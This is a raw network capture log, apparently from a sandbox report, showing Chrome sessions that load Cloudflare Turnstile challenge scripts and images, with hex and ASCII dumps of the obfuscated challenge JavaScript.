2024-12-09 17:41:34 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 78 45 4a 58 34 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 74 65 72 6d 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 77 65 62 73 69 74 65 2d 74 65 72 6d 73 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 70 72 69 76 61 63 79 5f 6c 69 6e 6b 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 70 72 69 76 61 63 79 70 6f 6c 69 63 79 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 73 Data Ascii: window._cf_chl_opt.uaO=false;window._cf_chl_opt.xEJX4={"metadata":{"challenge.terms":"https%3A%2F%2Fwww.cloudflare.com%2Fwebsite-terms%2F","challenge.privacy_link":"https%3A%2F%2Fwww.cloudflare.com%2Fprivacypolicy%2F","challenge.supported_browsers":"https
2024-12-09 17:41:34 UTC	1369	IN	Data Raw: 30 63 68 61 6c 6c 65 6e 67 65 25 32 30 6d 75 73 74 25 32 30 62 65 25 32 30 65 6d 62 65 64 64 65 64 25 32 30 69 6e 74 6f 25 32 30 61 25 32 30 70 61 72 65 6e 74 25 32 30 70 61 67 65 2e 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 73 75 63 63 65 73 73 22 3a 22 53 75 63 63 65 73 73 25 32 31 22 2c 22 74 65 73 74 69 6e 67 5f 6f 6e 6c 79 5f 61 6c 77 61 79 73 5f 70 61 73 73 22 3a 22 54 65 73 74 69 6e 67 25 32 30 6f 6e 6c 79 25 32 43 25 32 30 61 6c 77 61 79 73 25 32 30 70 61 73 73 2e 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 66 6f 6f 74 65 72 5f 70 72 69 76 61 63 79 22 3a 22 50 72 69 76 61 63 79 22 2c 22 69 6e 76 61 6c 69 64 5f 73 69 74 65 6b 65 79 22 3a 22 49 6e 76 61 6c 69 64 25 32 30 73 69 74 65 6b 65 79 2e 25 32 30 43 6f 6e 74 61 63 74 25 32 30 74 68 65 25 32 30 53 69 Data Ascii: 0challenge%20must%20be%20embedded%20into%20a%20parent%20page.","turnstile_success":"Success%21","testing_only_always_pass":"Testing%20only%2C%20always%20pass.","turnstile_footer_privacy":"Privacy","invalid_sitekey":"Invalid%20sitekey.%20Contact%20the%20Si
2024-12-09 17:41:34 UTC	1369	IN	Data Raw: 66 59 2c 67 61 2c 67 67 2c 67 68 2c 67 69 2c 67 73 2c 67 44 2c 67 48 2c 65 52 2c 65 53 29 7b 66 6f 72 28 67 4a 3d 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 2c 67 49 2c 65 2c 66 29 7b 66 6f 72 28 67 49 3d 62 2c 65 3d 63 28 29 3b 21 21 5b 5d 3b 29 74 72 79 7b 69 66 28 66 3d 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 34 37 39 29 29 2f 31 2b 70 61 72 73 65 49 6e 74 28 67 49 28 31 31 32 30 29 29 2f 32 2a 28 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 37 37 36 29 29 2f 33 29 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 34 38 35 29 29 2f 34 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 37 32 32 29 29 2f 35 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 37 36 31 29 29 2f 36 2a 28 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 33 34 37 29 29 2f 37 29 2b 2d 70 61 72 73 65 49 6e 74 Data Ascii: fY,ga,gg,gh,gi,gs,gD,gH,eR,eS){for(gJ=b,function(c,d,gI,e,f){for(gI=b,e=c();!![];)try{if(f=-parseInt(gI(1479))/1+parseInt(gI(1120))/2(-parseInt(gI(1776))/3)+-parseInt(gI(485))/4+-parseInt(gI(722))/5+-parseInt(gI(1761))/6(-parseInt(gI(1347))/7)+-parseInt
2024-12-09 17:41:34 UTC	1369	IN	Data Raw: 7a 28 31 37 30 34 29 29 5d 28 78 29 29 3a 66 75 6e 63 74 69 6f 6e 28 47 2c 68 42 2c 48 29 7b 66 6f 72 28 68 42 3d 68 7a 2c 47 5b 68 42 28 38 38 33 29 5d 28 29 2c 48 3d 30 3b 48 3c 47 5b 68 42 28 38 32 38 29 5d 3b 47 5b 48 5d 3d 3d 3d 47 5b 6f 5b 68 42 28 37 37 30 29 5d 28 48 2c 31 29 5d 3f 47 5b 68 42 28 31 32 36 31 29 5d 28 48 2b 31 2c 31 29 3a 48 2b 3d 31 29 3b 72 65 74 75 72 6e 20 47 7d 28 78 29 2c 42 3d 27 6e 41 73 41 61 41 62 27 2e 73 70 6c 69 74 28 27 41 27 29 2c 42 3d 42 5b 68 7a 28 37 35 32 29 5d 5b 68 7a 28 31 30 30 39 29 5d 28 42 29 2c 43 3d 30 3b 43 3c 78 5b 68 7a 28 38 32 38 29 5d 3b 43 2b 2b 29 69 66 28 6f 5b 68 7a 28 34 37 37 29 5d 28 68 7a 28 31 37 30 30 29 2c 68 7a 28 31 36 30 32 29 29 29 28 44 3d 78 5b 43 5d 2c 45 3d 6f 5b 68 7a 28 31 31 Data Ascii: z(1704))](x)):function(G,hB,H){for(hB=hz,G[hB(883)](),H=0;H<G[hB(828)];G[H]===G[o[hB(770)](H,1)]?G[hB(1261)](H+1,1):H+=1);return G}(x),B='nAsAaAb'.split('A'),B=B[hz(752)][hz(1009)](B),C=0;C<x[hz(828)];C++)if(o[hz(477)](hz(1700),hz(1602)))(D=x[C],E=o[hz(11
2024-12-09 17:41:34 UTC	1369	IN	Data Raw: 28 2d 31 2c 67 5b 6c 5d 5b 68 43 28 36 36 38 29 5d 28 68 5b 6a 5b 6b 5d 5d 5b 6d 5d 29 29 26 26 28 69 5b 68 43 28 31 31 37 32 29 5d 28 66 71 2c 68 5b 6a 5b 6b 5d 5d 5b 6d 5d 29 7c 7c 67 5b 6c 5d 5b 68 43 28 31 36 33 30 29 5d 28 27 6f 2e 27 2b 68 5b 6a 5b 6b 5d 5d 5b 6d 5d 29 29 2c 6d 2b 2b 29 3b 7d 65 6c 73 65 20 67 5b 6c 5d 3d 68 5b 6a 5b 6b 5d 5d 5b 68 43 28 37 37 32 29 5d 28 66 75 6e 63 74 69 6f 6e 28 6e 2c 68 44 29 7b 72 65 74 75 72 6e 20 68 44 3d 68 43 2c 69 5b 68 44 28 31 38 32 33 29 5d 28 27 6f 2e 27 2c 6e 29 7d 29 7d 2c 66 72 3d 66 75 6e 63 74 69 6f 6e 28 68 45 2c 64 2c 65 2c 66 2c 67 29 7b 72 65 74 75 72 6e 20 68 45 3d 67 4a 2c 64 3d 7b 27 47 66 4d 70 76 27 3a 68 45 28 31 34 35 34 29 2c 27 6d 76 77 69 55 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 Data Ascii: (-1,g[l][hC(668)](h[j[k]][m]))&&(i[hC(1172)](fq,h[j[k]][m])\|\|g[l][hC(1630)]('o.'+h[j[k]][m])),m++);}else g[l]=h[j[k]][hC(772)](function(n,hD){return hD=hC,i[hD(1823)]('o.',n)})},fr=function(hE,d,e,f,g){return hE=gJ,d={'GfMpv':hE(1454),'mvwiU':function(h,i
2024-12-09 17:41:34 UTC	1369	IN	Data Raw: 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2b 69 7d 7d 2c 65 3d 53 74 72 69 6e 67 5b 68 45 28 36 31 33 29 5d 2c 66 3d 7b 27 68 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 68 46 2c 69 2c 6a 29 7b 72 65 74 75 72 6e 20 68 46 3d 68 45 2c 69 3d 7b 7d 2c 69 5b 68 46 28 36 38 31 29 5d 3d 64 5b 68 46 28 31 35 36 30 29 5d 2c 6a 3d 69 2c 64 5b 68 46 28 31 32 35 39 29 5d 28 6e 75 6c 6c 2c 68 29 3f 27 27 3a 66 2e 67 28 68 2c 36 2c 66 75 6e 63 74 69 6f 6e 28 6b 2c 68 47 29 7b 72 65 74 75 72 6e 20 68 47 3d 68 46 2c 6a 5b 68 47 28 36 38 31 29 5d 5b 68 47 28 31 32 31 37 29 5d 28 6b 29 7d 29 7d 2c 27 67 27 3a 66 75 6e 63 74 69 6f 6e 28 6a 2c 6f 2c 73 2c 68 48 2c 78 2c 42 2c 43 2c 44 2c 45 2c 46 2c 47 2c 48 2c 49 2c 4a 2c 4b 2c 4c 2c 4d 2c 4e 2c 4f 2c 50 2c 53 2c 54 2c 55 2c Data Ascii: n(h,i){return h+i}},e=String[hE(613)],f={'h':function(h,hF,i,j){return hF=hE,i={},i[hF(681)]=d[hF(1560)],j=i,d[hF(1259)](null,h)?'':f.g(h,6,function(k,hG){return hG=hF,j[hG(681)][hG(1217)](k)})},'g':function(j,o,s,hH,x,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P,S,T,U,
2024-12-09 17:41:34 UTC	1369	IN	Data Raw: 35 32 29 5d 5b 68 48 28 35 36 30 29 5d 5b 68 48 28 31 36 35 32 29 5d 28 45 2c 46 29 29 7b 69 66 28 32 35 36 3e 46 5b 68 48 28 38 35 34 29 5d 28 30 29 29 7b 66 6f 72 28 43 3d 30 3b 43 3c 49 3b 4b 3c 3c 3d 31 2c 6f 2d 31 3d 3d 4c 3f 28 4c 3d 30 2c 4a 5b 68 48 28 31 36 33 30 29 5d 28 73 28 4b 29 29 2c 4b 3d 30 29 3a 4c 2b 2b 2c 43 2b 2b 29 3b 66 6f 72 28 50 3d 46 5b 68 48 28 38 35 34 29 5d 28 30 29 2c 43 3d 30 3b 38 3e 43 3b 4b 3d 64 5b 68 48 28 39 32 38 29 5d 28 4b 2c 31 29 7c 50 26 31 2e 31 33 2c 64 5b 68 48 28 31 34 33 32 29 5d 28 4c 2c 64 5b 68 48 28 36 30 32 29 5d 28 6f 2c 31 29 29 3f 28 4c 3d 30 2c 4a 5b 68 48 28 31 36 33 30 29 5d 28 73 28 4b 29 29 2c 4b 3d 30 29 3a 4c 2b 2b 2c 50 3e 3e 3d 31 2c 43 2b 2b 29 3b 7d 65 6c 73 65 7b 66 6f 72 28 50 3d 31 2c Data Ascii: 52)][hH(560)][hH(1652)](E,F)){if(256>F[hH(854)](0)){for(C=0;C<I;K<<=1,o-1==L?(L=0,J[hH(1630)](s(K)),K=0):L++,C++);for(P=F[hH(854)](0),C=0;8>C;K=d[hH(928)](K,1)\|P&1.13,d[hH(1432)](L,d[hH(602)](o,1))?(L=0,J[hH(1630)](s(K)),K=0):L++,P>>=1,C++);}else{for(P=1,
2024-12-09 17:41:34 UTC	1369	IN	Data Raw: 68 48 28 31 36 31 32 29 2c 68 48 28 31 33 30 36 29 29 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 31 31 27 3a 45 5b 68 48 28 37 37 34 29 5d 3d 68 48 28 38 33 35 29 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 31 32 27 3a 78 3d 42 5b 68 48 28 31 30 35 35 29 5d 28 68 48 28 31 33 37 39 29 29 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 31 33 27 3a 72 65 74 75 72 6e 20 58 3b 63 61 73 65 27 31 34 27 3a 58 3d 48 5b 68 48 28 31 30 35 35 29 5d 28 64 5b 68 48 28 34 34 31 29 5d 29 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 31 35 27 3a 56 5b 68 48 28 34 36 39 29 5d 28 55 29 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 31 36 27 3a 56 5b 68 48 28 34 36 39 29 5d 28 59 29 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 31 37 27 3a 59 3d 49 5b 68 48 28 31 30 35 35 29 5d Data Ascii: hH(1612),hH(1306));continue;case'11':E[hH(774)]=hH(835);continue;case'12':x=B[hH(1055)](hH(1379));continue;case'13':return X;case'14':X=H[hH(1055)](d[hH(441)]);continue;case'15':V[hH(469)](U);continue;case'16':V[hH(469)](Y);continue;case'17':Y=I[hH(1055)]
2024-12-09 17:41:34 UTC	1369	IN	Data Raw: 4f 29 3b 3b 29 7b 69 66 28 64 5b 68 4b 28 31 38 31 39 29 5d 28 49 2c 69 29 29 72 65 74 75 72 6e 27 27 3b 66 6f 72 28 4a 3d 30 2c 4b 3d 4d 61 74 68 5b 68 4b 28 34 34 35 29 5d 28 32 2c 43 29 2c 46 3d 31 3b 46 21 3d 4b 3b 4e 3d 64 5b 68 4b 28 38 32 34 29 5d 28 47 2c 48 29 2c 48 3e 3e 3d 31 2c 30 3d 3d 48 26 26 28 48 3d 6a 2c 47 3d 6f 28 49 2b 2b 29 29 2c 4a 7c 3d 64 5b 68 4b 28 31 38 30 36 29 5d 28 30 3c 4e 3f 31 3a 30 2c 46 29 2c 46 3c 3c 3d 31 29 3b 73 77 69 74 63 68 28 4f 3d 4a 29 7b 63 61 73 65 20 30 3a 66 6f 72 28 4a 3d 30 2c 4b 3d 4d 61 74 68 5b 68 4b 28 34 34 35 29 5d 28 32 2c 38 29 2c 46 3d 31 3b 64 5b 68 4b 28 31 36 34 38 29 5d 28 46 2c 4b 29 3b 4e 3d 64 5b 68 4b 28 31 32 39 30 29 5d 28 47 2c 48 29 2c 48 3e 3e 3d 31 2c 48 3d 3d 30 26 26 28 48 3d 6a Data Ascii: O);;){if(d[hK(1819)](I,i))return'';for(J=0,K=Math[hK(445)](2,C),F=1;F!=K;N=d[hK(824)](G,H),H>>=1,0==H&&(H=j,G=o(I++)),J\|=d[hK(1806)](0<N?1:0,F),F<<=1);switch(O=J){case 0:for(J=0,K=Math[hK(445)](2,8),F=1;d[hK(1648)](F,K);N=d[hK(1290)](G,H),H>>=1,H==0&&(H=j
2024-12-09 17:41:34 UTC	1369	IN	Data Raw: 30 29 3f 65 4e 5b 67 4a 28 34 39 39 29 5d 28 67 4a 28 31 33 36 38 29 2c 66 75 6e 63 74 69 6f 6e 28 69 64 2c 63 29 7b 69 64 3d 67 4a 2c 63 3d 7b 27 70 71 63 67 4b 27 3a 66 75 6e 63 74 69 6f 6e 28 64 2c 65 2c 66 29 7b 72 65 74 75 72 6e 20 64 28 65 2c 66 29 7d 7d 2c 63 5b 69 64 28 31 35 35 32 29 5d 28 73 65 74 54 69 6d 65 6f 75 74 2c 66 43 2c 30 29 7d 29 3a 73 65 74 54 69 6d 65 6f 75 74 28 66 43 2c 30 29 2c 65 4d 5b 67 4a 28 31 30 35 39 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 69 65 2c 63 2c 64 2c 65 29 7b 69 65 3d 67 4a 2c 63 3d 7b 27 59 57 53 4e 4f 27 3a 66 75 6e 63 74 69 6f 6e 28 66 2c 67 29 7b 72 65 74 75 72 6e 20 66 2b 67 7d 2c 27 48 54 50 79 7a 27 3a 66 75 6e 63 74 69 6f 6e 28 66 2c 67 29 7b 72 65 74 75 72 6e 20 66 28 67 29 7d 2c 27 4a 4f 6e 78 70 27 3a 69 Data Ascii: 0)?eN[gJ(499)](gJ(1368),function(id,c){id=gJ,c={'pqcgK':function(d,e,f){return d(e,f)}},c[id(1552)](setTimeout,fC,0)}):setTimeout(fC,0),eM[gJ(1059)]=function(ie,c,d,e){ie=gJ,c={'YWSNO':function(f,g){return f+g},'HTPyz':function(f,g){return f(g)},'JOnxp':i

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.17	49736	104.18.94.41	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 17:41:34 UTC	740	OUT	GET /cdn-cgi/challenge-platform/h/g/cmg/1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/5zffs/0x4AAAAAAAz81HM6AHANCtc4/light/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 17:41:35 UTC	240	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 17:41:35 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 8ef6c96dca4778e7-EWR alt-svc: h3=":443"; ma=86400
2024-12-09 17:41:35 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.17	49737	104.18.95.41	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 17:41:36 UTC	385	OUT	GET /cdn-cgi/challenge-platform/h/g/cmg/1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 17:41:37 UTC	240	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 17:41:36 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 8ef6c979b9f08cc8-EWR alt-svc: h3=":443"; ma=86400
2024-12-09 17:41:37 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.17	49738	104.18.95.41	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 17:41:36 UTC	433	OUT	GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=8ef6c96199b00fa1&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 17:41:37 UTC	331	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 17:41:37 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 121167 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8ef6c97bba30434f-EWR alt-svc: h3=":443"; ma=86400
2024-12-09 17:41:37 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 78 45 4a 58 34 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 66 75 6e 64 61 6d 65 6e 74 61 6c 73 25 32 46 67 65 74 2d 73 74 61 72 74 65 64 25 32 46 63 6f 6e 63 65 70 74 73 25 32 46 63 6c 6f 75 64 66 6c 61 72 65 2d 63 68 61 6c 6c 65 6e 67 65 73 25 32 46 25 32 33 62 72 6f 77 73 65 72 2d 73 75 70 70 6f 72 74 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 74 65 72 6d 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 Data Ascii: window._cf_chl_opt.uaO=false;window._cf_chl_opt.xEJX4={"metadata":{"challenge.supported_browsers":"https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconcepts%2Fcloudflare-challenges%2F%23browser-support","challenge.terms":"https%3A%2F
2024-12-09 17:41:37 UTC	1369	IN	Data Raw: 25 32 30 72 65 70 6f 72 74 25 32 30 68 61 73 25 32 30 62 65 65 6e 25 32 30 73 75 63 63 65 73 73 66 75 6c 6c 79 25 32 30 73 75 62 6d 69 74 74 65 64 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 76 65 72 69 66 79 69 6e 67 22 3a 22 56 65 72 69 66 79 69 6e 67 2e 2e 2e 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 65 78 70 69 72 65 64 22 3a 22 45 78 70 69 72 65 64 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 73 75 63 63 65 73 73 22 3a 22 53 75 63 63 65 73 73 25 32 31 22 2c 22 74 65 73 74 69 6e 67 5f 6f 6e 6c 79 5f 61 6c 77 61 79 73 5f 70 61 73 73 22 3a 22 54 65 73 74 69 6e 67 25 32 30 6f 6e 6c 79 25 32 43 25 32 30 61 6c 77 61 79 73 25 32 30 70 61 73 73 2e 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 74 69 6d 65 6f 75 74 22 3a 22 54 69 6d 65 64 25 32 30 6f 75 74 22 2c 22 74 75 72 6e 73 Data Ascii: %20report%20has%20been%20successfully%20submitted","turnstile_verifying":"Verifying...","turnstile_expired":"Expired","turnstile_success":"Success%21","testing_only_always_pass":"Testing%20only%2C%20always%20pass.","turnstile_timeout":"Timed%20out","turns
2024-12-09 17:41:37 UTC	1369	IN	Data Raw: 66 55 2c 67 31 2c 67 35 2c 67 36 2c 67 61 2c 67 62 2c 67 68 2c 67 69 2c 67 66 2c 67 67 29 7b 66 6f 72 28 67 4a 3d 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 2c 67 49 2c 65 2c 66 29 7b 66 6f 72 28 67 49 3d 62 2c 65 3d 63 28 29 3b 21 21 5b 5d 3b 29 74 72 79 7b 69 66 28 66 3d 70 61 72 73 65 49 6e 74 28 67 49 28 31 33 31 37 29 29 2f 31 2a 28 70 61 72 73 65 49 6e 74 28 67 49 28 31 36 30 32 29 29 2f 32 29 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 38 37 31 29 29 2f 33 2a 28 70 61 72 73 65 49 6e 74 28 67 49 28 35 37 35 29 29 2f 34 29 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 31 38 37 29 29 2f 35 2a 28 70 61 72 73 65 49 6e 74 28 67 49 28 31 37 36 38 29 29 2f 36 29 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 32 30 30 29 29 2f 37 2b 70 61 72 73 65 49 6e 74 28 67 Data Ascii: fU,g1,g5,g6,ga,gb,gh,gi,gf,gg){for(gJ=b,function(c,d,gI,e,f){for(gI=b,e=c();!![];)try{if(f=parseInt(gI(1317))/1(parseInt(gI(1602))/2)+-parseInt(gI(871))/3(parseInt(gI(575))/4)+-parseInt(gI(1187))/5*(parseInt(gI(1768))/6)+-parseInt(gI(1200))/7+parseInt(g
2024-12-09 17:41:37 UTC	1369	IN	Data Raw: 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 4f 6a 4a 4f 59 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 21 3d 3d 68 7d 2c 27 6f 63 45 54 56 27 3a 67 4d 28 31 34 37 38 29 2c 27 72 70 68 4a 4c 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 4d 72 70 63 69 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 3d 3d 68 7d 2c 27 67 68 65 71 54 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 56 67 63 62 72 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 26 69 7d 2c 27 56 6f 55 6e 66 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 3d 3d 68 7d 2c 27 76 76 79 48 61 Data Ascii: ion(h,i){return h(i)},'OjJOY':function(h,i){return i!==h},'ocETV':gM(1478),'rphJL':function(h,i){return h(i)},'Mrpci':function(h,i){return i==h},'gheqT':function(h,i){return h(i)},'Vgcbr':function(h,i){return h&i},'VoUnf':function(h,i){return i==h},'vvyHa
2024-12-09 17:41:37 UTC	1369	IN	Data Raw: 43 3d 53 74 72 69 6e 67 28 4b 29 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 31 27 3a 69 66 28 4f 62 6a 65 63 74 5b 67 50 28 38 32 31 29 5d 5b 67 50 28 31 38 37 37 29 5d 5b 67 50 28 31 35 31 36 29 5d 28 42 2c 43 29 29 7b 69 66 28 32 35 36 3e 43 5b 67 50 28 31 32 33 37 29 5d 28 30 29 29 7b 66 6f 72 28 73 3d 30 3b 73 3c 46 3b 48 3c 3c 3d 31 2c 49 3d 3d 6a 2d 31 3f 28 49 3d 30 2c 47 5b 67 50 28 31 34 31 33 29 5d 28 6f 28 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 73 2b 2b 29 3b 66 6f 72 28 4f 3d 43 5b 67 50 28 31 32 33 37 29 5d 28 30 29 2c 73 3d 30 3b 64 5b 67 50 28 31 36 34 37 29 5d 28 38 2c 73 29 3b 48 3d 64 5b 67 50 28 35 39 34 29 5d 28 48 3c 3c 31 2e 36 32 2c 64 5b 67 50 28 31 34 30 39 29 5d 28 4f 2c 31 29 29 2c 64 5b 67 50 28 31 31 37 38 29 5d 28 49 2c 64 Data Ascii: C=String(K);continue;case'1':if(Object[gP(821)][gP(1877)][gP(1516)](B,C)){if(256>C[gP(1237)](0)){for(s=0;s<F;H<<=1,I==j-1?(I=0,G[gP(1413)](o(H)),H=0):I++,s++);for(O=C[gP(1237)](0),s=0;d[gP(1647)](8,s);H=d[gP(594)](H<<1.62,d[gP(1409)](O,1)),d[gP(1178)](I,d
2024-12-09 17:41:37 UTC	1369	IN	Data Raw: 31 33 29 5d 28 6f 28 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 4f 3e 3e 3d 31 2c 73 2b 2b 29 3b 7d 44 2d 2d 2c 44 3d 3d 30 26 26 28 44 3d 4d 61 74 68 5b 67 50 28 31 30 39 34 29 5d 28 32 2c 46 29 2c 46 2b 2b 29 2c 64 65 6c 65 74 65 20 42 5b 43 5d 7d 65 6c 73 65 20 66 6f 72 28 4f 3d 78 5b 43 5d 2c 73 3d 30 3b 64 5b 67 50 28 37 35 38 29 5d 28 73 2c 46 29 3b 48 3d 64 5b 67 50 28 31 36 31 30 29 5d 28 48 3c 3c 31 2c 4f 26 31 29 2c 64 5b 67 50 28 31 31 37 38 29 5d 28 49 2c 6a 2d 31 29 3f 28 49 3d 30 2c 47 5b 67 50 28 31 34 31 33 29 5d 28 6f 28 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 4f 3e 3e 3d 31 2c 73 2b 2b 29 3b 44 2d 2d 2c 44 3d 3d 30 26 26 46 2b 2b 7d 65 6c 73 65 20 4f 28 29 5b 67 50 28 31 33 36 38 29 5d 5b 67 50 28 35 37 37 29 5d 3d 67 50 28 37 35 30 29 7d 66 Data Ascii: 13)](o(H)),H=0):I++,O>>=1,s++);}D--,D==0&&(D=Math[gP(1094)](2,F),F++),delete B[C]}else for(O=x[C],s=0;d[gP(758)](s,F);H=d[gP(1610)](H<<1,O&1),d[gP(1178)](I,j-1)?(I=0,G[gP(1413)](o(H)),H=0):I++,O>>=1,s++);D--,D==0&&F++}else O()[gP(1368)][gP(577)]=gP(750)}f
